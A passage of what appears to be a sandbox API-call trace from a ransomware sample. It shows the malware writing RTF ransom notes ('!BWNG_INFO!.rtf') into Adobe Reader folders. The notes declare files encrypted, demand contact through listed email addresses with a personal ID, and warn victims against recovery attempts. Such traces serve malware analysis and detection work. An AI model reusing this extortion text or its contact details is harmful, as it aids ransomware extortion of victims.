m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.073] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.074] CloseHandle (hObject=0x1b4) returned 1 [0034.074] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\!bwng_info!.rtf")) returned 0xffffffff [0034.074] GetLastError () returned 0x2 [0034.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\ITA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ita\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd 